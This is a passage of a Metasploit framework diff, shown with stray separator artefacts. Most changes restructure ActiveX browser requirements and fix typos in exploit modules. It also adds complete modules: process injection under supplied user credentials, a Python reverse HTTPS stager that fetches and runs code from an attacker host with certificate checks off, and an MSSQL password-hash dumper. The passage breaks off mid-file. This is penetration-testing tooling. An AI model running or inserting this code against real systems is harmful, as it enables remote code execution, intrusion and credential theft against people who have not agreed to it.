clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||||
|
method: "LoadMovie"
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS,
|
||||||
:ua_name => Msf::HttpClients::IE,
|
:ua_name => Msf::HttpClients::IE,
|
||||||
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
|
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
|
||||||
|
|
|
@ -43,8 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS,
|
||||||
:ua_name => /MSIE/i,
|
:ua_name => /MSIE/i,
|
||||||
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
|
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
|
||||||
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
|
:activex => [
|
||||||
:method => "GetColor"
|
{
|
||||||
|
clsid: "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
|
||||||
|
method: "GetColor"
|
||||||
|
}
|
||||||
|
]
|
||||||
},
|
},
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -45,8 +45,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
:activex => [
|
||||||
:method => "ChooseFilePath",
|
{
|
||||||
|
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||||
|
method: "ChooseFilePath"
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS,
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -73,8 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}",
|
:activex => [
|
||||||
:method => "requiredClaims",
|
{
|
||||||
|
clsid: '{19916E01-B44E-4E31-94A4-4696DF46157B}',
|
||||||
|
method: 'requiredClaims'
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS_XP
|
:os_name => OperatingSystems::Match::WINDOWS_XP
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -277,10 +277,7 @@ end function
|
||||||
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
|
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
|
||||||
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
|
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
|
||||||
|
|
||||||
payload_src = (datastore['SSL'] ? 'https' : 'http')
|
payload_src = "#{gif_name}"
|
||||||
payload_src << '://'
|
|
||||||
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
|
|
||||||
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
|
|
||||||
|
|
||||||
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
|
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
|
||||||
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
|
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
|
||||||
|
|
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
Code execution occurs by writing to the All Users Startup Programs directory.
|
Code execution occurs by writing to the All Users Startup Programs directory.
|
||||||
You may want to combine this module with the use of multi/handler since a
|
You may want to combine this module with the use of multi/handler since a
|
||||||
user would have to log for the payloda to execute.
|
user would have to log for the payload to execute.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'jduck' ],
|
'Author' => [ 'jduck' ],
|
||||||
|
|
|
@ -44,7 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
|
:activex => [
|
||||||
|
{
|
||||||
|
clsid: '{4B3476C6-185A-4D19-BB09-718B565FA67B}',
|
||||||
|
method: 'SetText'
|
||||||
|
}
|
||||||
|
],
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS,
|
||||||
:ua_name => Msf::HttpClients::IE,
|
:ua_name => Msf::HttpClients::IE,
|
||||||
:ua_ver => '10.0'
|
:ua_ver => '10.0'
|
||||||
|
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
|
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module explots the Racer Car and Racing Simulator game
|
This module exploits the Racer Car and Racing Simulator game
|
||||||
versions v0.5.3 beta 5 and earlier. Both the client and server listen
|
versions v0.5.3 beta 5 and earlier. Both the client and server listen
|
||||||
on UDP port 26000. By sending an overly long buffer we are able to
|
on UDP port 26000. By sending an overly long buffer we are able to
|
||||||
execute arbitrary code remotely.
|
execute arbitrary code remotely.
|
||||||
|
|
|
@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||||
if command.length > 8000
|
if command.length > 8000
|
||||||
# Windows 2008 Command Prompt Max Length is 8191
|
# Windows 2008 Command Prompt Max Length is 8191
|
||||||
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
|
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
|
||||||
end
|
end
|
||||||
print_status("#{peer} - Exploiting through Powershell...")
|
print_status("#{peer} - Exploiting through Powershell...")
|
||||||
execute_command(command)
|
execute_command(command)
|
||||||
|
|
|
@ -232,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
@addresses = disclose_addresses(my_target)
|
@addresses = disclose_addresses(my_target)
|
||||||
if @addresses.nil?
|
if @addresses.nil?
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
|
fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
|
||||||
else
|
else
|
||||||
print_good("Addresses successfully disclosed.")
|
print_good("Addresses successfully disclosed.")
|
||||||
end
|
end
|
||||||
|
|
|
@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Powershell Remoting Remote Command Execution',
|
'Name' => 'Powershell Remoting Remote Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
|
This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
|
||||||
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
|
If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
|
||||||
use a HOSTFILE to supply a list of known hostnames.
|
use a HOSTFILE to supply a list of known hostnames.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -0,0 +1,126 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
include Msf::Post::Windows::Runas
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Windows Run Command As User",
|
||||||
|
'Description' => %q{
|
||||||
|
This module will login with the specified username/password and execute the
|
||||||
|
supplied command as a hidden process. Output is not returned by default.
|
||||||
|
Unless targetting a local user either set the DOMAIN, or specify a UPN user
|
||||||
|
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
|
||||||
|
|
||||||
|
A custom command line can be sent instead of uploading an executable.
|
||||||
|
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
|
||||||
|
respectively. See the MSDN documentation for how these two values interact.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
'Author' => ['Kx499', 'Ben Campbell'],
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
|
||||||
|
OptString.new('USER', [true, 'Username to login with' ]),
|
||||||
|
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
||||||
|
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
|
||||||
|
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
|
||||||
|
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
|
||||||
|
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
|
||||||
|
domain = datastore['DOMAIN']
|
||||||
|
user = datastore['USER']
|
||||||
|
password = datastore['PASSWORD']
|
||||||
|
|
||||||
|
if datastore['USE_CUSTOM_COMMAND']
|
||||||
|
application_name = datastore['APPLICATION_NAME']
|
||||||
|
command_line = datastore['COMMAND_LINE']
|
||||||
|
else
|
||||||
|
command_line = nil
|
||||||
|
windir = get_env('windir')
|
||||||
|
|
||||||
|
# Select path of executable to run depending the architecture
|
||||||
|
case sysinfo['Architecture']
|
||||||
|
when /x86/i
|
||||||
|
application_name = "#{windir}\\System32\\notepad.exe"
|
||||||
|
when /x64/i
|
||||||
|
application_name = "#{windir}\\SysWOW64\\notepad.exe"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
pi = create_process_with_logon(domain,
|
||||||
|
user,
|
||||||
|
password,
|
||||||
|
application_name,
|
||||||
|
command_line)
|
||||||
|
|
||||||
|
return unless pi
|
||||||
|
|
||||||
|
begin
|
||||||
|
return if datastore['USE_CUSTOM_COMMAND']
|
||||||
|
|
||||||
|
vprint_status('Injecting payload into target process')
|
||||||
|
raw = payload.encoded
|
||||||
|
|
||||||
|
process_handle = pi[:process_handle]
|
||||||
|
|
||||||
|
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
|
||||||
|
nil,
|
||||||
|
raw.length,
|
||||||
|
'MEM_COMMIT|MEM_RESERVE',
|
||||||
|
'PAGE_EXECUTE_READWRITE')
|
||||||
|
|
||||||
|
address = virtual_alloc['return']
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
|
||||||
|
|
||||||
|
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
|
||||||
|
address,
|
||||||
|
raw,
|
||||||
|
raw.length,
|
||||||
|
4)
|
||||||
|
|
||||||
|
fail_with(Exploit::Failure::Unknown,
|
||||||
|
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
|
||||||
|
|
||||||
|
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
|
||||||
|
nil,
|
||||||
|
0,
|
||||||
|
address,
|
||||||
|
nil,
|
||||||
|
0,
|
||||||
|
4)
|
||||||
|
if create_remote_thread['return'] == 0
|
||||||
|
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
|
||||||
|
else
|
||||||
|
print_good("Started thread in target process")
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||||
|
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
|
||||||
if command.length > 8000
|
if command.length > 8000
|
||||||
# Windows 2008 Command Prompt Max Length is 8191
|
# Windows 2008 Command Prompt Max Length is 8191
|
||||||
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
|
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
|
||||||
end
|
end
|
||||||
print_status("#{peer} - Exploiting through Powershell...")
|
print_status("#{peer} - Exploiting through Powershell...")
|
||||||
exec_bar(datastore['CMDPATH'], command, "\x00")
|
exec_bar(datastore['CMDPATH'], command, "\x00")
|
||||||
|
|
|
@ -8,6 +8,7 @@ require 'msf/core/handler/reverse_https'
|
||||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||||
require 'msf/base/sessions/meterpreter_x86_win'
|
require 'msf/base/sessions/meterpreter_x86_win'
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'rex/parser/x509_certificate'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
|
@ -15,6 +16,7 @@ module Metasploit3
|
||||||
|
|
||||||
include Msf::Payload::Windows::StagelessMeterpreter
|
include Msf::Payload::Windows::StagelessMeterpreter
|
||||||
include Msf::Sessions::MeterpreterOptions
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
include Msf::Payload::Windows::VerifySsl
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
|
||||||
|
@ -30,7 +32,7 @@ module Metasploit3
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -54,9 +56,13 @@ module Metasploit3
|
||||||
# end
|
# end
|
||||||
#end
|
#end
|
||||||
|
|
||||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
|
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||||
|
datastore['HandlerSSLCert'])
|
||||||
|
|
||||||
|
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||||
:url => url,
|
:url => url,
|
||||||
:ssl => true,
|
:ssl => true,
|
||||||
|
:ssl_cert_hash => verify_cert_hash,
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ua => datastore['MeterpreterUserAgent'],
|
:ua => datastore['MeterpreterUserAgent'],
|
||||||
|
@ -64,8 +70,9 @@ module Metasploit3
|
||||||
:proxyport => datastore['PROXYPORT'],
|
:proxyport => datastore['PROXYPORT'],
|
||||||
:proxy_type => datastore['PROXY_TYPE'],
|
:proxy_type => datastore['PROXY_TYPE'],
|
||||||
:proxy_username => datastore['PROXY_USERNAME'],
|
:proxy_username => datastore['PROXY_USERNAME'],
|
||||||
:proxy_password => datastore['PROXY_PASSWORD']
|
:proxy_password => datastore['PROXY_PASSWORD'])
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,126 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_https'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
CachedSize = 742
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Reverse HTTPS Stager',
|
||||||
|
'Description' => 'Tunnel communication over HTTP using SSL',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttps,
|
||||||
|
'Stager' => {'Payload' => ""}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
||||||
|
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
lhost = datastore['LHOST'] || '127.127.127.127'
|
||||||
|
|
||||||
|
var_escape = lambda { |txt|
|
||||||
|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||||
|
}
|
||||||
|
|
||||||
|
if Rex::Socket.is_ipv6?(lhost)
|
||||||
|
target_url = "https://[#{lhost}]"
|
||||||
|
else
|
||||||
|
target_url = "https://#{lhost}"
|
||||||
|
end
|
||||||
|
|
||||||
|
target_url << ':'
|
||||||
|
target_url << datastore['LPORT'].to_s
|
||||||
|
target_url << '/'
|
||||||
|
target_url << generate_callback_uri
|
||||||
|
|
||||||
|
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||||
|
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||||
|
|
||||||
|
if proxy_host == ''
|
||||||
|
urllib_fromlist = "['HTTPSHandler','build_opener']"
|
||||||
|
else
|
||||||
|
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd = "import sys\n"
|
||||||
|
cmd << "vi=sys.version_info\n"
|
||||||
|
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||||
|
cmd << "hs=[]\n"
|
||||||
|
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||||
|
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||||
|
cmd << "\timport ssl\n"
|
||||||
|
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||||
|
cmd << "\tsc.check_hostname=False\n"
|
||||||
|
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||||
|
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||||
|
|
||||||
|
if proxy_host != ''
|
||||||
|
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||||
|
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||||
|
"http://#{proxy_host}:#{proxy_port}"
|
||||||
|
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd << "o=ul.build_opener(*hs)\n"
|
||||||
|
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||||
|
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||||
|
|
||||||
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||||
|
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||||
|
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||||
|
b64_stub << Rex::Text.encode_base64(cmd)
|
||||||
|
b64_stub << "')))"
|
||||||
|
return b64_stub
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Determine the maximum amount of space required for the features requested
|
||||||
|
#
|
||||||
|
def required_space
|
||||||
|
# Start with our cached default generated size
|
||||||
|
space = cached_size
|
||||||
|
|
||||||
|
# Add 100 bytes for the encoder to have some room
|
||||||
|
space += 100
|
||||||
|
|
||||||
|
# Make room for the maximum possible URL length
|
||||||
|
space += 256
|
||||||
|
|
||||||
|
# The final estimated size
|
||||||
|
space
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return the longest URL that fits into our available space
|
||||||
|
#
|
||||||
|
def generate_callback_uri
|
||||||
|
uri_req_len = 30 + rand(256-30)
|
||||||
|
|
||||||
|
# Generate the short default URL if we don't have enough space
|
||||||
|
if self.available_space.nil? || required_space > self.available_space
|
||||||
|
uri_req_len = 5
|
||||||
|
end
|
||||||
|
|
||||||
|
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,180 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core/auxiliary/report'
|
||||||
|
require 'msf/core/post/windows/mssql'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Post::Windows::MSSQL
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Windows Gather Local SQL Server Hash Dump',
|
||||||
|
'Description' => %q{ This module extracts the usernames and password
|
||||||
|
hashes from a MSSQL server and stores them in the loot using the
|
||||||
|
same technique in mssql_local_auth_bypass (Credits: Scott Sutherland)
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Mike Manzotti <mike.manzotti[at]dionach.com>'],
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
# Set instance name (if specified)
|
||||||
|
instance = datastore['INSTANCE'].to_s
|
||||||
|
|
||||||
|
# Display target
|
||||||
|
print_status("Running module against #{sysinfo['Computer']}")
|
||||||
|
|
||||||
|
# Identify available native SQL client
|
||||||
|
get_sql_client
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||||
|
|
||||||
|
# Get LocalSystem privileges
|
||||||
|
system_status = get_system
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||||
|
|
||||||
|
begin
|
||||||
|
service = check_for_sqlserver(instance)
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||||
|
|
||||||
|
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||||
|
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||||
|
|
||||||
|
begin
|
||||||
|
get_sql_hash(instance_name)
|
||||||
|
rescue RuntimeError
|
||||||
|
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||||
|
if impersonate_sql_user(service)
|
||||||
|
get_sql_hash(instance_name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
# return to original priv context
|
||||||
|
session.sys.config.revert_to_self
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_sql_version(instance_name)
|
||||||
|
vprint_status("Attempting to get version...")
|
||||||
|
|
||||||
|
query = mssql_sql_info
|
||||||
|
|
||||||
|
get_version_result = run_sql(query, instance_name)
|
||||||
|
|
||||||
|
# Parse Data
|
||||||
|
get_version_array = get_version_result.split("\n")
|
||||||
|
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
|
||||||
|
if version_year
|
||||||
|
vprint_status("MSSQL version found: #{version_year}")
|
||||||
|
return version_year
|
||||||
|
else
|
||||||
|
vprint_error("MSSQL version not found")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_sql_hash(instance_name)
|
||||||
|
version_year = get_sql_version(instance_name)
|
||||||
|
|
||||||
|
case version_year
|
||||||
|
when "2000"
|
||||||
|
hash_type = "mssql"
|
||||||
|
query = mssql_2k_password_hashes
|
||||||
|
when "2005", "2008"
|
||||||
|
hash_type = "mssql05"
|
||||||
|
query = mssql_2k5_password_hashes
|
||||||
|
when "2012", "2014"
|
||||||
|
hash_type = "mssql12"
|
||||||
|
query = mssql_2k5_password_hashes
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Attempting to get password hashes...")
|
||||||
|
|
||||||
|
get_hash_result = run_sql(query, instance_name)
|
||||||
|
|
||||||
|
if get_hash_result.include?('0x')
|
||||||
|
# Parse Data
|
||||||
|
hash_array = get_hash_result.split("\r\n").grep(/0x/)
|
||||||
|
|
||||||
|
store_hashes(hash_array, hash_type)
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def store_hashes(hash_array, hash_type)
|
||||||
|
# Save data
|
||||||
|
loot_hashes = ""
|
||||||
|
hash_array.each do |row|
|
||||||
|
user, hash = row.strip.split
|
||||||
|
|
||||||
|
service_data = {
|
||||||
|
address: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: 'mssql',
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
# Initialize Metasploit::Credential::Core object
|
||||||
|
credential_data = {
|
||||||
|
post_reference_name: refname,
|
||||||
|
origin_type: :session,
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
private_data: hash,
|
||||||
|
username: user,
|
||||||
|
session_id: session_db_id,
|
||||||
|
jtr_format: hash_type,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
|
||||||
|
# Create the Metasploit::Credential::Core object
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}
|
||||||
|
|
||||||
|
# Merge in the service data and create our Login
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
|
||||||
|
print_line("#{user}:#{hash}")
|
||||||
|
|
||||||
|
loot_hashes << "#{user}:#{hash}\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
unless loot_hashes.empty?
|
||||||
|
# Store MSSQL password hash as loot
|
||||||
|
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
|
||||||
|
print_good("MSSQL password hash saved in: #{loot_path}")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -5,10 +5,12 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
|
require 'msf/core/post/windows/mssql'
